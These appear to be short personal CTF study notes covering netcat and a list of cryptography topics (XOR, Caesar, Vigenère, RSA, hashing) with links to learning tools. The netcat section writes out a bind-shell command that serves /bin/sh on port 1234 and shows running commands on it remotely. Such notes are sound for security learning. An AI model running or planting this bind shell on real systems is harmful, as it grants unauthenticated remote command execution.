

### nc

```
#nc -l -p1234 -e /bin/sh #3 turn the local
machine to listen on 1234 port and execute
the shell cmd, the command after -e is used
to execute the input from port 1234
### from another computer issue
#nc abc.com 1234
touch test.txt ## this will create an empty
file on the abc.com
```

<https://ctf101.org>

<https://tech.pookey.co.uk/non-wp/encoder-decoder.php>

### Cryptograph

- 1 simple conversion: english string - ascII  
number - binary --oct--hexal--32bit - 64bit
2. XOR:  $A=B^C$ ,  $B=A^C$ ,  $C=A^B$
3. A Substitution Cipher
4. shift/caesar cipher
- 5 Vigenere cipher: extend of shift cipher
- 6 RSA
- 7 hashing
- 8mode of cipher

<https://cryptii.com/pipes/binary-to-base64>



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